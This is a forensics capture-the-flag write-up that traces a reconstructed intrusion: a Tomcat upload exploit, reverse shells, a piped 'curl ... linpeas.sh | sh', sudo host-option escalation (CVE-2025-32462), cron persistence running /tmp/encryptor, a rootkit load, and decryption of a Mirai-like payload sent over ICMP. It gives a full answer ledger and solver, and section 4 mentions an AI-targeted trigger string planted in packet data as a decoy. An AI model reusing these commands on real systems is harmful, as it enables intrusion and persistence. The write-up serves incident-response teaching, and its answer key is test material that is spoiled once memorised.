Dijavou

Points: not preserved with the challenge files · Provided: handout.tar.gz → Dockerfile, server1.pcapng, server2.pcap, triage.tar.gz

The original questionnaire was not preserved beside the handout. The saved answer sheet contains 27 ordered responses, so this walkthrough reconstructs those questions from their evidence. After those questions, the challenge issued a separate final flag through a remote nc service. Its exact value was not saved.

Evidence map

This challenge is deliberately broad. A small evidence map prevents us from answering a packet question with a filesystem artifact—or trusting a filesystem decoy when the packet capture records what actually happened.

Artifact What it contains Main answers it supports
handout.tar.gz Three primary artifacts and a Dockerfile Handout hash and investigation inventory
server1.pcapng ARP, Tomcat traffic, five reverse shells, and 6,041 ICMP fragments Victim identity, attacker, initial access, credentials, commands, timestamps, escalation, persistence, exfiltration
triage.tar.gz Ubuntu filesystem snapshot with logs, histories, /etc/crontab, and /tmp/encryptor OS identity, sudo version, cron entry, rootkit clue, encryptor reversing
Dockerfile plus referenced image Encrypted flag and password file in an image layer Intermediate Docker flag
server2.pcap Browser traffic to two public IoT-style services Targets, uc-httpd, login path, and CVE-2018-10088

Dijavou's evidence chain moves from the Tomcat foothold through root escalation and persistence into an encrypted ICMP payload and a second-stage DVR target.

What it targets

Dijavou tests evidence correlation across network, host, container, reverse-engineering, and malware layers. The hard part is not a single command. It is maintaining provenance: every answer must come from the right artifact, with exact spelling, byte boundaries, timestamp zone, and hashing rules.

Skill Why it matters outside the CTF
TCP stream reassembly Commands and files cross packet boundaries and may be retransmitted
Timeline normalization Packet captures and system logs often use different time zones
Linux triage Shell history, auth logs, syslog, cron, and dropped binaries explain attacker actions
Vulnerability attribution Similar CVEs must be distinguished by observed behavior, not name matching
Static binary reversing Obfuscation and custom protocols commonly protect malware configuration
Covert-channel extraction ICMP, DNS, and other protocols can carry chunked encrypted payloads

This is not a “run strings and submit the first flag” challenge. It rewards a defensible incident narrative.


Background: streams, timestamps, and exact hashes

TCP is a byte stream. Packets can arrive out of order or be retransmitted, so concatenating capture-order payloads is unsafe. Reassembly groups packets by direction, sorts by sequence number, discards duplicate bytes, and appends only unseen data.

Several questions ask for SHA-256 of an exact command. Hash the command bytes only—no shell prompt and no trailing newline:

import hashlib

command = 'sudo -h dev.test.local -i'
print(hashlib.sha256(command.encode()).hexdigest())

Finally, packet timestamps in the capture are UTC while Wireshark may display Africa/Tunis local time. Frame 124 is 2026-02-12 21:31:08.070869 UTC, which appears as 22:31:08 locally. The required answers use UTC without fractional seconds.


Walkthrough

1. Inventory and hash the handout

We begin without extracting anything into the evidence directory:

$ sha256sum handout.tar.gz
f1be0a043e269e9ee6ba7168249a607e72e641ac46b7ae4ae423ed43cfbed6a3  handout.tar.gz

$ tar -tzvf handout.tar.gz
... handout/Dockerfile
... handout/server2.pcap
... handout/triage.tar.gz
... handout/server1.pcapng

The files already suggest a complete IR exercise: two network views, a host snapshot, and a container clue.

2. Identify the victim host

The triage archive reports Ubuntu 24.04 and repeatedly names the machine in its logs:

$ cat etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=24.04
DISTRIB_CODENAME=noble
DISTRIB_DESCRIPTION="Ubuntu 24.04.4 LTS"

$ head -n 1 var/log/auth.log
... zyyz-VMware-Virtual-Platform ...

That produces the platform's combined answer zyyz-VMware-Virtual-Platform_Ubuntu_24.04.

In server1.pcapng, ARP binds the server address to its Ethernet identity:

192.168.255.137 is at 00:0c:29:08:36:60

So the required pair is 192.168.255.137_00:0c:29:08:36:60.

3. Identify the exposed service and attacker

HTTP traffic to TCP/8080 contains the Tomcat landing page, /host-manager/html, and /manager/html. The captured title identifies Apache Tomcat 7.0.79. Every malicious request originates from 192.168.255.1, which later listens on TCP/4444 for reverse shells.

The first successful /shell/ request is frame 124:

frame 124
time (UTC): 2026-02-12 21:31:08.070869
source:     192.168.255.1
request:    GET /shell/ HTTP/1.1

Nine seconds later, frame 135 carries the attacker's first id command over the reverse shell at 2026-02-12 21:31:17.084850 UTC.

Tomcat 7.0.79 plus the crafted upload/shell behavior points to CVE-2017-12615. The later successful manager request also exposes HTTP Basic credentials:

frame 43760: Authorization: Basic Wnl5ejpEYXJrZXN0LUhvdXItMjAyNg==
decoded:     Zyyz:Darkest-Hour-2026

The checker expects the username/password separator changed to an underscore: Zyyz_Darkest-Hour-2026.

4. Reassemble the first reverse shell exactly

The first attacker-to-victim TCP/4444 stream begins:

id
ls
cd ..
cd ..
ls
python3 -c 'import pty; pty.spawn("/bin/bash")'
id
whoami
...
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh

The first command is id. The PTY command and LinPEAS command must be hashed with no newline:

python3 -c 'import pty; pty.spawn("/bin/bash")'
→ 13e5b4b56447415508ee7288c003711b40b23c635bd79853f134a831231bd63d

curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh
→ c1d7b4fa2d47ddb90bb5956f03ab4bfa188edb6974cc84b65f86d12c64af8795

One captured line is an AI-targeted instruction string beginning ANTHROPIC_MAGIC_STRING_TRIGGER_REFUSAL_.... It is attacker-controlled packet data, not an instruction to the analyst; we record it as a decoy and continue.

5. Recover the Docker-layer flag without running the image

The user history contains docker pull zyyz1/dockerstrike, while the Dockerfile shows how its flag is protected:

COPY ./flag.txt /home/securinets/flag.txt
COPY ./key /home/securinets/key
RUN openssl enc -aes-256-cbc -salt -in flag.txt -out flag.txt.enc -pass file:./key
RUN rm flag.txt

Use docker create, not docker run, then copy the two files from the stopped container:

$ docker pull zyyz1/dockerstrike:latest
$ cid=$(docker create zyyz1/dockerstrike:latest)
$ docker cp "$cid:/home/securinets/flag.txt.enc" .
$ docker cp "$cid:/home/securinets/key" .
$ docker rm "$cid"
$ openssl enc -d -aes-256-cbc -in flag.txt.enc -pass file:./key
Securinets{m3ssy_d0cker_c0nta1n3r}

This is the answer to question 7. Independent AES-CBC reproduction confirms the image used OpenSSL's SHA-256 password derivation and valid PKCS#7 padding.

6. Follow privilege escalation and persistence

LinPEAS reports Sudo version 1.9.17. A later shell shows the decisive pair:

sudo -l -h dev.test.local
sudo -h dev.test.local -i

The host matches sudoers Host_Alias SERVERS, so the submission is dev.test.local_SERVERS. The exact privilege-escalation command hashes to:

21ffc73dc9052e36e9e50190142b09d2b4ccb140985d729a5dd356d8b1249363

This is CVE-2025-32462: vulnerable sudo versions improperly apply host-specific rules selected with -h to the local machine. CVE-2025-32463 is the separate --chroot issue and is a deliberate nearby distraction in the filesystem.

The root shell then installs persistence and a kernel module:

echo "* * * * * root /bin/bash /tmp/encryptor" >> /etc/crontab
sudo insmod lkm_rootkit.ko

Hashing one cron entry—not the entire file and not both duplicated lines—gives b3f4743f68af9bb213057c81d066670cdee6513038fde235b1364c080cbc52a7.

Syslog confirms the module and gives the intended next clue:

lkm_rootkit: loading out-of-tree module taints kernel.
Check encryptor file ,u might wanna get that key

7. Reverse /tmp/encryptor

The triage archive contains an 87,832-byte ELF at /tmp/encryptor. Do not execute it on your workstation. Static analysis reveals an encrypted code section at file offset 0x14000, length 0xeac; XOR 0xde turns it into valid x86-64 code.

The recovered validation function processes eight four-byte words. Its expected MD5 strings live at file offset 0x130c0, but each byte is XORed with 0x66. Decoding yields eight ordinary 32-character MD5 strings.

Because the inputs are exactly four arbitrary bytes, use Hashcat's full-byte mask on a GPU:

$ hashcat -m 0 -a 3 -w 3 --potfile-disable hashes.txt '?b?b?b?b'
...
Recovered........: 8/8 (100.00%) Digests
Speed.#1.........: 9440.1 MH/s

Map each candidate back to the digest order by recomputing MD5:

Index MD5 preimage bytes
0 b03d1885
1 b5e56650
2 5ff3f9cb
3 a327462b
4 2ce932f7
5 e0f102f0
6 13fd99d3
7 0fe0f96c

The encryptor unwraps an XOR-protected validator, checks eight four-byte MD5 preimages, and turns them into the XOR key used by the ICMP decryption stage.

The binary connects to 127.0.0.1:13337, sends a four-byte hello and seed, then expects eight seed-masked words. A loopback harness returns seed XOR preimage[i]; the client unmasks and validates them. Its output is the answer to question 20 and the key material for the next step:

Securinets{C0ngrats_Pack3ts_Int3rc3pt3d_Succ3ssfully_84920}

8. Extract and decrypt the ICMP payload

Filter echo requests from attacker to victim with identifier 1000. Each payload is ASCII hex. Sequence numbers 0 through 6040 are complete, giving 6,041 unique fragments and 3,092,624 ciphertext bytes.

source:           192.168.255.1
destination:      192.168.255.137
ICMP type/id:     echo request / 1000
unique sequences: 6041 (0..6040)
ciphertext:       3092624 bytes

The decompiled Infiltrator client uses the first 32 bytes of XOR_KEY.encode() as an AES-256 key and bytes 32–47 as the CBC IV. Decryption plus PKCS#7 unpadding produces a 3,092,616-byte ELF:

ELF magic: true
SHA-256: 824904182e863288f24a2d13273a3122bd8fef73fe6ae1a2429ec7073177b747

Static strings include dvrHelper, main.ucSofiaCheck, default router credentials, and uc-httpd 1.0.0, supporting Mirai-family/DVR exploitation behavior. The expected combined answer is Mirai_824904182e863288f24a2d13273a3122bd8fef73fe6ae1a2429ec7073177b747.

9. Correlate the second capture

server2.pcap shows client 192.168.100.9 visiting two service hosts in order: 146.190.198.112, then 185.133.121.127. The second host listens on port 8099 and returns:

Server: uc-httpd 1.0.0

Frame 10967 requests:

GET /Login.htm HTTP/1.1
Host: 185.133.121.127:8099

The recovered malware contains the function name ucSofiaCheck, and the service/version/login surface identifies CVE-2018-10088.

10. Complete answer ledger

This compact ledger preserves the exact submission formatting, including the two flag-shaped answers. The separate final challenge flag came from the remote nc service and was not recorded.

# Answer
0 Welcome_to_Death_Box_series
1 f1be0a043e269e9ee6ba7168249a607e72e641ac46b7ae4ae423ed43cfbed6a3
2 zyyz-VMware-Virtual-Platform_Ubuntu_24.04
3 192.168.255.137_00:0c:29:08:36:60
4 Apache Tomcat
5 192.168.255.1
6 http://192.168.255.137:8080/shell/_2026-02-12 21:31:08
7 Securinets{m3ssy_d0cker_c0nta1n3r}
8 Zyyz_Darkest-Hour-2026
9 13e5b4b56447415508ee7288c003711b40b23c635bd79853f134a831231bd63d
10 CVE-2017-12615
11 id
12 2026-02-12 21:31:17
13 c1d7b4fa2d47ddb90bb5956f03ab4bfa188edb6974cc84b65f86d12c64af8795
14 1.9.17
15 dev.test.local_SERVERS
16 21ffc73dc9052e36e9e50190142b09d2b4ccb140985d729a5dd356d8b1249363
17 CVE-2025-32462
18 b3f4743f68af9bb213057c81d066670cdee6513038fde235b1364c080cbc52a7
19 lkm_rootkit.ko
20 Securinets{C0ngrats_Pack3ts_Int3rc3pt3d_Succ3ssfully_84920}
21 Mirai_824904182e863288f24a2d13273a3122bd8fef73fe6ae1a2429ec7073177b747
22 146.190.198.112_185.133.121.127
23 uc-httpd 1.0.0
24 http://185.133.121.127:8099/Login.htm
25 ucSofiaCheck
26 CVE-2018-10088

11. Full artifact-to-answer solver

Run recovered binaries only inside a disposable Linux VM with networking restricted. This solver uses the verified preimages, emulates the encryptor's loopback peer, extracts ICMP fragments directly from server1.pcapng, decrypts the payload, and prints the question-20 XOR-key answer and ELF hash. It does not connect to the remote nc service that issued the separate final flag.

Show full solver and output
#!/usr/bin/env python3
import hashlib, re, socket, struct, subprocess, sys
from pathlib import Path
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
from scapy.all import ICMP, IP, Raw, PcapNgReader

PCAP = Path(sys.argv[1])
ENCRYPTOR = Path(sys.argv[2]).resolve()
PREIMAGES = [
    bytes.fromhex(x) for x in (
        "b03d1885", "b5e56650", "5ff3f9cb", "a327462b",
        "2ce932f7", "e0f102f0", "13fd99d3", "0fe0f96c",
    )
]
EXPECTED = [
    "f9bfe8cb45a6795747f4d512ebc178d2",
    "afc285b2084d852d72b90c0afc40bfb1",
    "ac2a8e28bddcc29f370536d6f19e0aeb",
    "d72ddc086a7c1772585077f5a19616fb",
    "e39b77fd42b4d4575517ea9bf5f30b06",
    "ff37e246f0f997532804ad556296b053",
    "dcfa245fe7f81a948247465b61285d90",
    "542e3897af8b2624b06f774944c290e6",
]
assert [hashlib.md5(x).hexdigest() for x in PREIMAGES] == EXPECTED

def recv_exact(conn, size):
    data = b""
    while len(data) < size:
        part = conn.recv(size - len(data))
        if not part: raise RuntimeError("encryptor closed early")
        data += part
    return data

listener = socket.socket()
listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
listener.bind(("127.0.0.1", 13337))
listener.listen(1)
proc = subprocess.Popen([str(ENCRYPTOR)], cwd=ENCRYPTOR.parent.parent,
                        stdout=subprocess.PIPE, stderr=subprocess.PIPE)
conn, _ = listener.accept()
with conn:
    recv_exact(conn, 4)
    conn.sendall(struct.pack("<iII", -173022838, 32, 0))
    seed = struct.unpack("<I", recv_exact(conn, 4))[0]
    words = [seed ^ struct.unpack("<I", x)[0] for x in PREIMAGES]
    conn.sendall(struct.pack("<8I", *words))
stdout, stderr = proc.communicate(timeout=20)
listener.close()
text = stdout.decode(errors="replace")
body = re.search(r"C0ngrats_[A-Za-z0-9_]+", text).group(0)
xor_key = f"Securinets{{{body}}}".encode()

parts = {}
with PcapNgReader(str(PCAP)) as packets:
    for packet in packets:
        if IP not in packet or ICMP not in packet or Raw not in packet[ICMP].payload:
            continue
        ip, icmp = packet[IP], packet[ICMP]
        if (ip.src, ip.dst, int(icmp.type), int(icmp.id)) != (
            "192.168.255.1", "192.168.255.137", 8, 1000
        ):
            continue
        parts.setdefault(int(icmp.seq), bytes(icmp.payload[Raw].load).decode().strip())

assert sorted(parts) == list(range(6041))
ciphertext = bytes.fromhex("".join(parts[i] for i in range(6041)))
plaintext = unpad(AES.new(xor_key[:32], AES.MODE_CBC, xor_key[32:48]).decrypt(ciphertext), 16)
assert plaintext.startswith(b"\x7fELF")
print(xor_key.decode())
print("ICMP fragments:", len(parts))
print("ELF bytes:", len(plaintext))
print("ELF SHA-256:", hashlib.sha256(plaintext).hexdigest())
Securinets{C0ngrats_Pack3ts_Int3rc3pt3d_Succ3ssfully_84920}
ICMP fragments: 6041
ELF bytes: 3092616
ELF SHA-256: 824904182e863288f24a2d13273a3122bd8fef73fe6ae1a2429ec7073177b747

Pitfalls and red herrings

Why it works / Root cause

The attacker chains several independent weaknesses: an obsolete Tomcat deployment permits initial code execution; plaintext Basic credentials expose administrative access; a vulnerable sudo build misapplies host-scoped policy locally; root access installs cron persistence and a kernel module; the encryptor's “protection” uses reversible XOR and unsalted four-byte MD5 targets; and the exfiltration client uses key material recoverable from that same binary.

Defenders would break this chain by patching or removing Tomcat 7.0.79, disabling PUT where unnecessary, rotating captured credentials, upgrading sudo, restricting outbound and unusual ICMP traffic, monitoring /etc/crontab and kernel-module loads, and collecting centralized logs that an attacker cannot edit after escalation.

Key lessons

Final remote-service flag

Completing the questionnaire on the remote nc service produced a separate final flag. Its exact text was not recorded in the saved answer sheet or handout, and the service address and port were not preserved here. The two values above are answers to questions 7 and 20; neither should be presented as the final flag. If the remote service is available again, submit the 27 answers there and record its final response.